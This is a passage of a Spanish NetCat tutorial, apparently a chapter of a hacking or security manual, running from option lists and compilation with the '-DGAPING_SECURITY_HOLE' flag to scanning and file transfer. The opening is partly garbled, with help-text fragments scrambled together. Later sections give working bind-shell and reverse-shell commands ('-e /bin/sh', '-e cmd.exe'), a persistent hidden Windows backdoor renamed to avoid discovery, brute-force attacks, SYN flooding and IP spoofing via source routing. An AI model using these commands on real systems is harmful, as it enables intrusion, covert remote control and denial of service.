realizará negociaciones telnet. n (Dirección numerica especifica.

up to 8 -G num source-routing pointer: 4. -h this cruft -i secs delay interval for lines sent. G <número> (Especificar puntos de Routing).10] ~$ nc -h Opciones: -c shell commands as `-e'. g <gateway> (Especificar Gateways -pasarelas) Una de las opciones más interesantes de NetCat. que se incluyó solo en la versión para Windows. 'ftp\-data'). NOTA: La versión para Windows es muy parecida a la de Linux. i <segundos> Especifica un intervalo de segundos entre puertos Scaneados. NetCat en Linux [v1.g. . sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing. r (Genera un Patron Ramdom (aleatorio) de puertos locales o remotos) Muy útil para evitar patrones lógicos de Scanning. permite utilizar routers como "puentes" de conexión. excepto donde se indique el uso del argumentoi -L. 179 . se le puede añadir otra -v para más información todavía) Bastante útil y necesario. más información. v (modo verbose. no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -x tos set Type Of Service -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive]. hyphens in port names must be backslash escaped (e.u especificar UDP (Utilizar Protocolo UDP) Con esta opción se le comunica a NetCat que trabaje con protocolo UDP en vez de TCP. los ejemplos de comandos se podrán usar en ambas plataformas... Con esta opción podemos crear una cadena aleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing). w <segundos> (Especifica un tiempo para terminar) Con esta opción se especifica un tiempo determinado para realizar conexiones. for inbound connects -n numeric-only IP addresses. use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s]. 12. ports scanned -k set keepalive option on socket -l listen mode. 8.

org/src/hacks/nc110. Si lo que se desea es aprovechar toda la potencia de esta herramienta.tgz ftp.com:/pub/security/coast/mirrors/avian. Veamos los siguientes argumentos para lo que son y hacen. Debe ser compilado incluyendo unos flags especiales para poder obtener las opciones -t y -e (Telnet y Gaping Security Hole). aunque la forma más utilizada es con la línea de comandos de la terminal o consola de comandos de Linux aprovechando los Shell Scripts. intentaremos generic ("genérico"). Si se crean secciones nuevas para que generic. por ejemplo. Lamentablemente su utilidad se ve muy limitada y es análogo a tomar un café descafeinado.tgz ftp. Examinamos el archivo Makefile en busca de un SYSTYPE que corresponda al nuestro y ejecutamos un "make <systype>".org/netcat/nc110. La mejor manera de compilar el programa es primero bajando el .Daquello" a nuestra invocación make sin tener que editar el archivo Makefile. No es molestia. es necesario abrir el explorador Konqueror en modo superusuario para poder hacer el copiado del archivo.tgz Compilación La compilación es bastante simple. Nos ubicamos dentro del directorio que asignaste a NetCat y lo compilas con el comando Make utilizando las siguientes Flags: make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE" Copia el binario (nc) al directorio /usr/bin. dentro de las que se incluyen Red Hat. traen integrada una versión light del NetCat.org:/src/hacks/nc110. El programa para Linux se puede descargar desde los siguientes sitios: avian. el NetCat se convierte en una herramienta de verdadero gran poder de acción y puede ser utilizado conjuntamente con lenguajes de programación como Perl y C.Desto . debemos seguir el formato dado y enviar a Hobbit por correo las diferencias.tar (tarball) de NetCat y desempaquetándolo en el directorio de tu preferencia. el Freespire y el Ubuntu.En una plataforma como Linux. además de que pueden usarse los scripts que uno cree (o se consiga en la red) sin problemas. los cuales podemos incluir como DFLAGS = ". Algunos sistemas pueden advertir acerca de tipos de puntero para signal ( ) .h y Makefile soporten otra plataforma.x.c. de esta manera se podrá usar el NetCat directamente invocándolo desde cualquier parte del Shell. El "nc" ejecutable debería surgir a la vista.com:/mirrors/avian.h realmente no da apoyo a la preconfiguración de FD_SETSIZE. 180 . quizá requeriremos cambiar el dato XLIBS=-lresolv en el Makefile a XLIBS = "-lresolvl44bsd". sin embargo. Si no hay sección SYSTYPE pertinente. En Freespire.sterling. Lo mejor es crear un directorio de descargas. lanzamos una advertencia inofensiva. Instalación y compilación con extras: Importante La versión de NetCat para linux viene a prueba de lamers y advenedizos. Si deseamos vincular en contra de la librería del resolvedor en SunOS (recomendable) y tenemos BIND 4. Linux sys time. Hay un par de otros #defines configurables en netcat. Muchas de las distribuciones de Linux.rge.9. entonces se deberá descargar la versión competa de esta utilería.

la segunda parte habilita el enlazado dinámico. abriendo una terminal en modo SuperUsuario y tecleando en secuencia: mkdir Netcat && tar -C netcat -xvzf nc110. Otra manera de compilarlo es descomprimir el .c netcat. 181 . Algunas de las cosas que podemos hacer con NetCat son: Obtener un Shell rapidamente en una máquina remota usando la opción -l (Listen) conjuntamente con la opción -e (ejecutar). Uso del NetCat Para ilustrar mejor como trabajamos con este programa. cuando es conectado a través del cliente. una consola o intérprete de comandos.xx 23 -t -e cmd. podemos dejarlo como está si deseamos un binario estático.c.xxx. Navegamos el directorio para más información sobre el uso de NetCat. los corremos como siempre: .tar nc110./\/\* res_init(). La opción -t le dice a NetCat que maneje cualquier negociación que el cliente pueda esperar. nc -l -p 23 xxx. La primera parte del segundo sed habilita la configuración de CFLAGS en tu entorno (comenta el -O implícito).xxx. NetCat ejecuta el programa elegido y se conecta a stdin y stdout del programa en la conexión a la red.exe) .c~ && sed -e 's/res_init()./probe (o el script que quieras). Una referencia rápida en la línea de comandos está disponible tecleando ~$ man nc Para ser sincero. lo mejor es observar algunos ejemplos prácticos y analizar su estructura para poder comprender mejor como funciona y así poder crear nuestras propias aplicaciones. yo prefiero la primera modalidad de instalación colocando los Dflags para usar las opciones -e y -t.c~ >netcat. ejecutará un Shell (cmd. Cuando el programa corre con estas variables y la conexión es realizada.c && mv Makefile Makefile~ && sed -e 's/CFLAGS =/# CFLAGS =/' -e 's/\$(STATIC)//' <Makefile~ >Makefile && make linux && cp nc /usr/bin El primer sed arregla un error pequeño.exe Este comando dejará a NetCat escuchando el Puerto 23 (telnet).tgz.tgz && cd netcat && mv netcat. Los scripts están en el mismo directorio donde se desempaquetó el NetCat en /scripts.El empaquetado de NetCat trae unos scripts muy interesantes y bien comentados para que los estudiemos y poder comprender mejor su implementación en scripts. si no nos fiamos de él podemos comentarlo manualmente o borrar la línea #312 del fichero netcat. \*\//' <netcat.

De hecho. podemos obtener nombres de usuarios e información muy útil a la hora de planear un "Brute-Force Attack". NetCat hará lo que tenga que hacer silenciosamente. Si no se usa la -v. Si el argumento -n no es especificado. esto quiere decir en pocas palabras. Aunque en ocasiones acelera la conexión cuando queremos saber el nombre de un IP y tambien conectarnos ahi. y su efecto secundario es que no se podrán ver los procesos que corra con el comando ps. (No lo he probado con una posible lista de nombre de usuarios al azar). a menos que se haya especificado un solo puerto. ejecutar comandos y programas que puedan unirse a los Puertos NETBIOS. esperará el número de segundos especificados y si no recibe nada esperará nuevamente el mismo tiempo. Se puede dejar a NetCat escuchando en los puertos NETBIOS. -w 3 hará que NetCat espere 3 segundos antes de intentar conexión con en otro puerto (o cancelar la operación completamente). pero -v si lo está. El argumento host puede ser la versión alfanumérica o el IP numérico. que están probablemente corriendo en la mayoría de las máquinas NT.txt Este comando indicará a NetCat que se conecte en modo verbose al Host predeterminado en el puerto 79 (Finger) y envie el contenido del archivo user. Esto es útil con ciertos tipos de scripts. el shell correrá los permisos del proceso que han generado a NetCat. este comando de NetCat muestra la flexibilidad del programa en cuestión. 182 . de esta manera podemos lograr una conexión a una máquina que esté utilizando "Filtrado de Puertos" activado en TCP/IP security Network Control Panel. En este respecto. y dará una advertencia si el IP y el nombre no coinciden. Como anteriormente se mencionó.txt > log. así que hay que ser muy cautelosos. una conexión rechazada no es considerada un error.txt. Si no se le da ningun argumento. NetCat solo aceptará IP numericos. cerrándolas cuando el servidor al que nos conectemos deje de responder. Esto toma un poco más de tiempo.txt. a menos que ocurra algun error. pero puede ser útil. y entonces si cerrará la conexión. Por ejemplo. la respuesta del servicio será guardada en el archivo log. y no verificará el DNS por ningun motivo. NetCat trabaja con las conexiones sin nuestra intervención. dando una idea de sus posibilidades: c:\>nc -v <host> 79 < user. Si la opción -n es especificada. por si las dudas. NetCat los pedirá. La belleza de NetCat es que puede hacer lo mismo en cualquier puerto. NT no parece tener ninguna seguridad alrededor de cuales puertos los programas de usuarios son permitidos amarrar.Si esta conexión es realizada desde una máquina NT. podemos utilizar a NetCat para estudiar diferentes puertos. es el puerto 79 (Finger). leerá lo que se le dé y los separará internamente. De esta manera. El argumento -w indica a NetCat que deberá esperar un tiempo determinado de inactividad antes de cancelar la conexión. NetCat hará una verificación normal y en reversa del host. con la siguiente sintaxis para Windows: c:\>nc -v <IP> <puerto> (Se puede añadir otra -v) Uno de los puertos más interesantes a la hora de analizar un host.

Como esto podría hacer cambios a la corriente de datos. y de que puerto remoto se está conectando. El uso de esta opción no es recomendable en caso de que la velocidad sea un factor crítico. Funciona con TCP y UDP. siempre y cuando no esté en uso o el acceso a ese puerto no se encuentre restringido. 183 . De esta manera. Por razones de seguridad no se encuentra habilitado. Para eso se puede escribir un script aparte. De cualquier modo. y rezarle al dios de su preferencia. NetCat esperará intentos de conexión del exterior. En modo de servidor. Aunque NetCat indicará que una conexión UDP se ha establecido inmediatamente (y de hecho siempre lo hace con cualquier tipo de conexión). Es decir. el puerto fuente remoto. de ese puerto. NetCat abrirá conexiones con UDP en lugar de TCP. En modo de servidor. Esto no funciona bien en algunas plataformas. opcionalmente. se usará cualquiera que asigne el sistema. NetCat aprovecha cualquier puerto local para la transmisión de datos. NetCat solo aceptará conexiones provenientes de ese host y. mientras que en modo TCP podemos dejar que el sistema asigne el puerto local. de que que host es. y lo que hay que hacer es esperar la respuesta un tiempo determinado. Cada línea contiene representaciones hexadecimal y ascii de los datos enviados y recibidos. no deberán dejar un puerto abierto que otorgue acceso a una shell. si agregamos el argumento -v NetCat nos informará de la conexión establecida. Para ver los datos enviados y recibidos. e indicar un archivo que contendrá estos datos. En este archivo pueden observarse los simbolos ">" y "<" al principio de cada línea. en especial. pero para una sola conexión. En modo UDP forzosamente hay que especificar este puerto. estrictamente hablando. -o archivo_de_datos. Y aún así puede no responder. Como administradores de sistema. Si no se especifica un puerto desde donde conectarnos. ">" indica datos que fueron enviados por nosotros y "<" indica los que fueron recibidos. y si tenemos el argumento -v nos dirá que puerto eligió para nosotros (Claro que la mayoría de las veces seguramente vamos a querer especificar el puerto nosotros mismos) Inclusive podemos agregar el argumento host remoto y. Aunque. El administrador del sistema. si es que pertenece a un dispositivo (computadora o lo que sea) servido por nuestra máquina. el argumento -e especificará el programa a ejecutar una vez hecha o recibida una conexión. no está habilitado por default. debe usarse el argumento -o. UDP es un protocolo sin conexión. y opcionalmente se especificará un puerto local al que puedan conectarse del exterior. Si NetCat fue compilado con -DTELNET. Tambien puede usarse cualquier IP de nuestra red local. Para entrar en este modo se usa el argumento -l. en modo hexadecimal. NetCat manejará estas pseudo-conexiones como auténticas conexiones UDP para compatibilidad con el kernel del sistema operativo. Se sacará más provecho de las conexiones UDP si el standard input a NetCat se asemeja a datos que soliciten servicios al servidor. que corra dicho programa con los argumentos necesarios. Si NetCat fue compilado con -DGAPING_SECURITY_HOLE. a menos que se especifique el argumento -r en lugar de -p. el argumento -t le da la capacidad de conectarse a telnetd y pasar por encima de las negociaciones preliminares y recibir el "prompt login:" directamente. puede usar cualquier puerto restringido. es decir <1024. opcionalmente. Sólo entonces se podrá saber si hay un servidor UDP del otro lado. o usar inetd de plano. Esto se logra con el argumento -p núm_puerto. puesto que esto hace un poco más lento el proceso. ningun tipo de datos será enviado hasta que le introduzcamos algo vía standard input. El argumento -e solo puede ir seguido del nombre de un programa sin argumentos. lo que indicaría que se usen puertos locales al azar (e incluso puertos remotos al azar).Usando el argumento -u. funciona como inetd.

Ejemplos: Rastrear los puertos 20 hasta el 110: nc -v -w 3 -z localhost 21-110 nc -v -w 3 -z localhost ftp-pop3 Éste último ejemplo no funcionará con aquellos puertos que tengan un guión incluído en su nombre. La opción -z no es un halfscan. El escaneo de puertos (port scanning/probing) es una forma de ver lo que hay al alcance. indica a NetCat que haga un rastreo rápido de puertos abiertos.net 23 El argumento -G (mayúscula) es un indicador que sirve para ajustar el camino que recorrerán los paquetes de información enviados. Se puede usar hasta 8 veces para construir el camino que seguirá la información. estos datos de por si los estamos mandando línea por línea. "20-139". el puerto local siempre será el mismo. Además. El argumento -r le indica a NetCat que haga un rastreo de puertos al azar y. El argumento -z. pero con el argumento -i se pueden introducir los datos en intervalos de tiempo definidos.). 8.net -g gateway2. Por lo tanto. 184 .. los administradores de sistema deben prestar aún más atención a lo que nos presentan los logs. El rastreo será registrado en los logs. Hay que tener en cuenta que muchas redes no aceptan datos "encaminados" de este modo. si se agrega el argumento -i el rastreo es menos obvio porque no es tan "insistente". Esto es porque NetCat no fue hecho especificamente para rastreo de puertos. Entonces el argumento -i es mas bien aprovechado cuando NetCat está funcionando junto con archivos de datos o programas y queremos cuantificar los datos que enviemos. Sin embargo. Los valores para este argumento deberán ser multiplos de 4 (4. o el de otros. si el standard input viene de nosotros. NetCat no puede interpretar correctamente un rango como "ftp-netbios-ssn". Nuevamente. durante la conexión. son dirigidos hacia el standard output. Al usar el argumento -p. leyendo y escribiendo trozos de 8K. aunque tarde más. por cierto. Aqui podría usarse el argumento -i para poner un intervalo de tiempo entre puerto y puerto. así es menos obvio el rastreo. utilizará nuestros puertos locales aleatoriamente. Ejemplo: nc -v -w 3 -g gateway1. Pero es útil para probar si nuestra red es vulnerable. sin mandar información a las conexiones TCP. Es posible tambien usar el argumento -g para enviar paquetes por un camino predeterminado (source-routing). el rango tendrá que ser definido numericamente.principal. Datos introducidos vía standard input son procesados de la misma forma. estas dos ultimas opciones se logran agregando lo siguiente a la sección PREDEFINES del Makefile como ya mencionamos antes: DFLAGS= -DGAPING_SECURITY_HOLE -DTELNET Hay datos que. haciendo el proceso algo más lento. para eso existen otras herramientas que tienen a su disposición personas que quieran analizar su sistema. y muy poca información a las conexiones UDP.Como nota adicional.net objetivo. 12. Para rastrear un rango de puertos se separán el primer puerto y el ultimo con un guión. como netbios-ssn. Esto lo hace mandando secciones de 8K línea por línea. al mismo tiempo.. Linux no tiene soporte para source-routing por ahora. El puerto o puertos son definidos después del host.

html Acceso a la WWW vía el script 'scripts/web' web www.shell. conservando el nombre del archivo. Manejar NetCat con scripts SH (o la Shell que usen) es una manera fácil de hacer cosas más complejas. o lo que esten usando. NetCat es una herramienta que los administradores de sistema encontrarán que es muy útil para que alguien. "HOST" Para cambiar de puerto "PORT" Nota: En los puntos anteriores se harán visibles los tags HTML." Para guardar un archivo.html. Para abrir otros archivos.raza-mexicana. en Unix. Lee el standard input de la misma manera y podemos cerrar la conexión con Ctrl+C. por ejemplo: nc -v máquina1.NetCat actua de manera muy similar al comando cat. ftpd. 185 . tal como es. etc.html Comandos disponibles (sin comillas): Para subir de directorio. escriba hacks rápidos que puedan atacar puntos débiles en su sistema. leyéndolos desde algún archivo. con conocimiento intermedio de redes. Esto es porque NetCat no interpreta el código. GET /nahual/documento.net 25 Al terminar de hacer uso de sendmail. se da el nombre del archivo. Acceso a servicios en diversos puertos (telnetd. pueden servir para dar ideas a la mente creativa. Por ejemplo: cat archivo | nc -v -w 3 destino.. Ejemplo: /nahual/documento.com 12345 o nc -v -w 3 destino. solamente hay que dar un Ctrl+C para cerrar la conexión. ". Acceso a la WWW nc -v www. Sin embargo. lo presenta como código fuente HTML.raza-mexicana.org El puerto default es 80. Un <ENTER> nos lleva al archivo default.org 80 Y al hacerse la conexión. Datos binarios o ASCII pueden transmitirse mediante "piping" desde algún programa.com 12345 < archivo Usos específicos Estos son solo algunos ejemplos para realizar cosas comunes. /index. "SAVE" Para cambiar de host.) Hacer conexión vía sendmail.

por supuesto.txt. Nuevamente. lynx.shell. Transmisión/Recepción de datos Directorios archivados: Preparar el receptor nc -l -p 31337 | uncompress -c | tar xvfp Activar el transmisor tar cfp algun/directorio | compress -c | nc -w 3 destino. Podemos ver la conexión grabada en los logs del sistema. no se tiene un servicio de ftp o http en su máquina.net 20-250 500-600 4000 6667-7000 > archivo.com 12345 Nota: Obviamente respectivamente. netscape. Todo será grabado en archivo.) lynx http://máquina1.txt 2>&1 El standard output de echo.txt 2>&1 Nos informará sobre servicios abiertos. Hay que recordar que los standard error no son necesariamente errores. Rastreo de puertos pasivo nc -v -w 2 -z máquina1.com 31337 Archivos: Preparar el receptor nc -l -p 12345 | uncompress -c > archivo.xxx | nc -w 3 destino. 186 . "quit". se recomienda solo transferencia de archivos en formato ASCII.net 20-250 500-600 400 6667-7000 > archivo.Rastreo de puertos activo echo quit | nc -v -w 3 máquina1. obteniendo más información sobre el servicio que ofrecen los puertos abiertos. como la existencia de puertos abiertos. por alguna razon. etc. pero sin intentar acceso al sistema.net:20034 Nota: El browser tiende a corromper los datos. compress y uncompress pueden ser reemplazados por gzip y gunzip Recepción de datos vía browser Preparar el receptor nc -l -p 20034 <fotoXXX Conectarse con el browser (por decir. así es posible hacer la conexión. pueden ser avisos del kernel. va a ser el standard input de NetCat. Si. no es un halfscan.shell. Incluyendo mensajes de error (2>&1). y se necesita usar NetCat para esto.xxx Activar el transmisor compress -c archivo. Evitar acceso al puerto 19 (chargen).shell. y salirse automáticamente.

otro 12345 Redirección de tráfico de un site www a otro.dildocam. ayudado con el programa data/rservice. Direct Client To Client). en virtud de que la conexión es directa (DCC. Reemplazo primitivo de talkd Se puede tener una conversación con alguien al estilo irc (Internet Relay Chat) pero sin lag. utiles para probar la estabilidad del servicio que estemos probando. El ejemplo usa TCP. Analisis de protocolos A falta de acceso a herramientas especializadas. o con rsh y rlogin. El administrador de sistema.c. utilizarán el protocolo UDP en su transmisión de datos.shell.Reemplazo experimental de inetd Para hackers de linux. 187 . para verificar la habilidad del kernel para procesarla. porque se necesita el argumento -e.del. Solo funciona si tienen definido el flag DGAPING_SECURITY_HOLE al compilar NetCat. puede usar esto como si fuera un sniffer.com 80 Sobrecargando la máquina Se puede sobrecargar la máquina que estamos probando con un exceso de información. pero si ambos lados agregan el argumento -u. o de un firewall a el verdadero site. Incluir esto en el archivo /etc/inetd. contrario a lo que sucede con TCP que termina la conexión cuando recibe el Ctrl+C del otro lado. nc -l -p 12345 Otra persona se conecta nc -w 3 host. Los ejemplos utilizan TCP. Una persona inicia. pero UDP produce más basura todavía.c puede generar datos aleatorios. esto es útil si quieren experimentar en su máquina con servidores generalmente controlados por inetd. Inetd inverso NetCat puede conectarse al exterior y correr un programa una vez conectado. puede hacerse analizando los datos transmitidos con el argumento -o.rhosts. De esta manera es posible ver si hay hosts remotos inseguros en . Simulación de clientes de servicios remotos Se puede hacer una simulación de clientes de servicios remotos (rservices). Abrimos un puerto yes 12345678901234567890 | nc -vv -l -p 6969 > /dev/null Y lo bombardeamos de ida y regreso yes 09876543210987654321 | nc máquina1. o un atacante con acceso a una root shell.conf www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 www. Cualquier extremo podrá desconectarse y volverse a conectar.net > /dev/null El programa data/data.

o un algun ataque DoS.1 -p 6000 localhost 2 done Este script hace que NetCat acepte y después cierre cualquier conexión entrante a nuestra dirección normal de Ethernet de nuestra estación de trabajo y otra copia es de inmediato ejecutada por el script. se puede abrir un puerto con NetCat. en localhost o en alguna otra máquina. while true .0. Por ejemplo. puerto 2. Bloqueo de conexiones a puertos especificados Los servidores de Xwindow son muy vulnerables en virtud se aceptar conexiones de cualquier puerto. para después # cerrarla. probando con diferentes puertos y hosts. el siguiente ejemplo podría mandar una alerta a las terminales de todos los usuarios. En Winxx me parece que no hay ningun problema con tomar esos puertos.0. En sistemas Unix es necesario ser root para tomar puertos bajos (< 1024). Programas en puertos En caso de que scripts CGI no sean permitidos en el web server. etc. echo '<0>cualquier_mensaje' | nc -v -w 2 localhost 514 Recordar que 514 es el puerto syslog. Puertos infectados Abrir puertos que generalmente solo estarían abiertos en máquinas Windows infectadas con caballos de troya como netbus. Chequeo de bloqueo de source-routing Verificar que nuestro sistema bloquea paquetes "encaminados" (source-routed) y que son correctamente filtradas conexiones TCP y UDP a puertos normalmente protegidos del exterior.conf es configurado de cierta forma. 188 . para así evitar muchas veces filtros que esa máquina tenga. etc. El administrador de sistema debe tener esto en cuenta.net 23 Verificar funcionamiento de las alertas de sistema (syslog) Si /etc/syslog. Veamos el siguiente script: #!/bin/sh # Este script recibe conexiones al puerto default del X server # en este caso provenientes de nuestra máquina.shell. do nc -v -l -s 127. Fácilmente pueden agregársele opciones para hacerlo más flexible y potente.rservice usuario password | nc -v -w 2 -p 1023 máquina1. Puertos bajos Es posible ligar puertos bajos como el 20 y conectarse a otras máquinas. sockets de troie. Envía un error estándar a un archivo para registro de intentos de conexiones. y usarlo para correr programas que hagan lo que generalmente haría un script CGI. y hasta puede grabar ese intento. los servidores NFS muchas veces aceptan conexiones del exterior sin filtrarlas. haciendo referencia a ese puerto en dicha máquina. Cuando alguien intente hacer la conexión con el falso servidor troyano. NetCat puede ligarse al puerto 6000 del X server y cerrar cualquier intento de conexión. se puede responder enviándole cantidades enormes de información inutil. cuando provienen de ciertos puertos.

Toda información que pase por el falso servidor puede ser grabada mendiante el argumento -o.Utilizar PGP para enviar información desde dicho sistema Argumentos -l y -e Usar NetCat con los argumentos -l y -e es útil para tener acceso a una shell (Unix o ms-dos). su clave de acceso. una vez obtenida la lista de usuarios. pero es necesario ligarse a un puerto entre 512 y 1023. si elegimos usar TCP. es posible que no de resultado abrir un puerto en Win9X.Ligar puertos Es posible ligar ciertos puertos y correr servidores falsos.shell. de lo contrario rlogind no permitirá el acceso. La familia TCL (tclsh y wish) no funciona porque no son shells verdaderas. a los cuales los usuarios podrían conectarse y así es posible interceptar información. y solo dejará entrar aquellos con nuestro IP. Pero un sistema bien configurado y un administrador que sepa hacer el trabajo por el que se le paga. con seguridad podrá detectar este tipo de ataque (muy lento.Utilizar SSH para conectarse a los servicios de un sistema (en lugar de telnet) 2. por cierto). El cracker que desee atacar un sistema. rservice usuario password pwd | nc -v -w 3 máquina1. y un comando (en caso de que descubramos la clave) al puerto 512 (exec) de la máquina remota. pero es posible poner cualquier otro comando en su lugar. Escuchar la conexión desde un puerto y host específicos hace difícil que alguien mas entre. En caso de máquinas NT. por lo tanto no es obligatorio ponerlo. adivinando passwords.com pero. Por la existencia de esta posibilidad. Es posible atacar vía login remoto (rlogin) por el puerto 513. o Bourne. es recomendable hacer lo siguiente: 1. y hacer cracking por fuerza bruta (Brute Force). En otros tipos de Windws es command. requieren cargarse bajo una shell auténtica. como ya se mencionó.net exec El comando pwd es el default. Ataque al puerto 110 (pop3) es otra opción. la shell en Unix puede ser cualquiera de la familia C. vía standard input a NetCat. Si se usa UDP la conexión permanece abierta indefinidamente.remoto. contrario a otros puertos más "conocidos". Sistema remoto nc -u -l -e /bin/sh -p 3333 Nuestro sistema nc -u -w 3 sistema. Ataque por Brute Force Se puede hacer un ataque a sistemas por fuerza bruta. Es una debilidad que muchos pueden aprovechar. Es menos probable que se graben intentos fallidos de acceso en los logs atacando exec remoto (rexec) vía el puerto 512.net 3333 Obviamente. puede agregar un glosario o diccionario y una lista de usuarios con facilidad. la cual aprovechan programas como el "hotmail hacker".exe. la shell es cmd. El siguiente ejemplo va a usar el programa rservice para meter un usuario. estilo sniffer. 189 .

Como administradores. SYN flooding se basa en un "3-way handshaking" incompleto. podremos ocultar una puerta trasera basada en NetCat. o tal usar algun sistema de monitoreo de conexiones mande un paquete RST a las conexiones incompletas.exe –p 4455 –d –L –e cmd. Si creamos de esta manera una puerta trasera en Win95-98-98ES y WinXP. agotando recursos. nc. el cliente deberá responder (ACK). disminuir el tiempo que esperará el servidor por un ACK (el default suele ser 3 a 5 minutos). El ataque. Obtener acceso remoto a una shell en Windows Si se ejecuta el comando nc. Consiste en enviar un paquete de sincronización (SYN) para pedir una conexión. causado con NetCat o cualquier otra herramienta. en los sistemas Windows NT y Windows 2000. Y para evitar ser descubiertos podemos cambiar el nombre de nc.exe De ésta forma. cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella. Para evitar esto utilizaremos la opción –L diciéndole a NetCat que escuche con más interés incluso después de haber finalizado la conexión.exe desde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000.exe -l –p4455 –e cmd. el servidor nunca recibirá el ACK y se quedará esperándolo por determinado tiempo. sabremos de este tipo de conexión incompleta con el comando netstat. pero como el SYN flooder usa hosts falsos. tendrá los mismos privilegios y servicios que el usuario que ejecute NetCat. lo que puede ser más temprano que tarde.exe por cualquier otra cosa. Naturalmente. Lo notaremos en estado SYN_RECV. a menos que la máquina siendo atacada tenga poca memoria disponible. solo deshabilitará el servicio siendo atacado.exe Esto permitirá volver al sistema hasta que el administrador de ese sistema descubra la puerta trasera. nc. El queue se llenará de pedidos de conexión y la memoria disponible se desplomará rápido. Solo es cosa de construir ese camino con los argumentos -g y si es necesario.Spoofing El Spoofing es cosa sencilla y depende solamente de qué direcciones podemos usar para "encaminar" nuestros paquetes y de qué máquinas acepten información recibida de esta manera. Vamos a profundizar en este comando. tan pronto como se finalice la conexión. Emplearemos la opción – d para separarla del indicador de comandos. Para disminuir este problema.exe –l –p 4455 –d –e cmd. NetCat pensará que su trabajo ha terminado y dejará de escuchar. por lo general. 190 . recordar que de forma predeterminada NetCat se ejecutará en la ventana DOS que se haya iniciado. -G SYN Flooding El ataque SYN flooding contra algun servicio es fácil de realizar utilizando el argumento -s con unos cuantos hosts falsos. En otras palabras. Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta. se puede aumentar el número de conexiones incompletas permitidas por el kernel. este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras NetCat se encuentre en ejecución. el servidor responderá que ha recibido el paquete y está listo para establecer la conexión (SYN/ACK). obtendremos un control completo. 5 o más es un buen número. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado.

9. pero no todos. cambian la dirección IP origen del paquete a su propia dirección IP.50.50 23 en este comando estaremos especificando un puntero de salto utilizando la opción –G. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.9 10. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen.10.10.7.5.8 –g 10.10. Por ello.50 23 entrará en contacto con el puerto telnet en 10.10.4 –g 10. tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Por lo que en su camino a 10. el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. este proceso nos permitirá hacer que el paquete pase por nuestra máquina al regresar. Si intentamos nc –g 10.Suplantar una dirección IP Suplantar una dirección IP resulta sencillo.10.7. La opción –G configurará el puntero de salto al nsimo byte (en este caso el duodécimo) y como las direcciones IP tienen 4 bytes de longitud.10. Los cortafuegos que realizan enmascaramiento o una traducción de las direcciones de red suplantan diariamente direcciones IP.4. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino. esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset.9.9. pero muy pocos permiten el encaminamiento dependiente del origen relajado. por ejemplo: nc –g 10. Cualquiera podría iniciar una exploración de puertos utilizando la opción –s para hacer pensar que están siendo explorado por Microsoft o el FBI.10. La opción –g de NetCat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino. Sin embargo. decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo.4.10. el puntero de salto comenzará en 10.9.5 –g 10. el encaminamiento dependiente del origen permite que suplantemos una dirección IP y que obtengamos las respuestas en su viaje de vuelta.5. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos? En lugar de atacar a la máquina destino. Estos dispositivos toman un paquete desde una dirección IP interna.4 –g 10. por ejemplo. Sin embargo en el viaje de vuelta el paquete si pasará por las 4 máquinas. Utilizando este método. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino. Supongamos. que el host destino piensa que ha recibido una petición de conexión de Microsoft.5 –g 10.9. lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. la única otra opción viable es utilizar el encaminamiento dependiente del origen.50. NetCat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos.8 –g 10. Existen dos tipos de encaminamiento dependiente del origen: ● ● El estricto El relajado El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino.4.10. 191 . Naturalmente. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto.10. pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios. intentará enviar un mensaje de reconocimiento a dicha IP de Microsoft. el tráfico necesitará atravesar únicamente las dos ultimas máquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras).7.9 –G 12 10.10.10.10.9.

El host reside sobre una red RFC 1918. en puertos conocidos. pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. Cliente: nc -vv -l -p 80 Servidor: nc client_ip_address 80 -e /bin/bash La línea en Servidor le indica a NetCat que inicie sesión hacia la dirección IP de nuestro Cliente. por decirlo de alguna manera. Éste parámetro le indicará a NetCat que envíe una determinada cantidad de datos hacia algún puerto. Sus multiples opciones le permiten realizar un gran número de combinaciones. Una vez conectado el servidor. Entonces el Servidor ejecutará una consola de comandos /bin/bash. en modo ascendente o descendente. Al igual que la puerta trasera del ejemplo anterior. se hace el mismo procedimiento pero al revés. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de toda la exploración. etc. utilizando gateways para evitar mostrar la IP fuente del Scanning. con intervalos de tiempo. pudiendo realizar escaneos en Puertos aleatorios. éste se conecta al Cliente. La opción –z es la respuesta. En estos casos NetCat puede usarse para crear un túnel de salida de la red. Estos puertos en raras ocasiones se encuentran 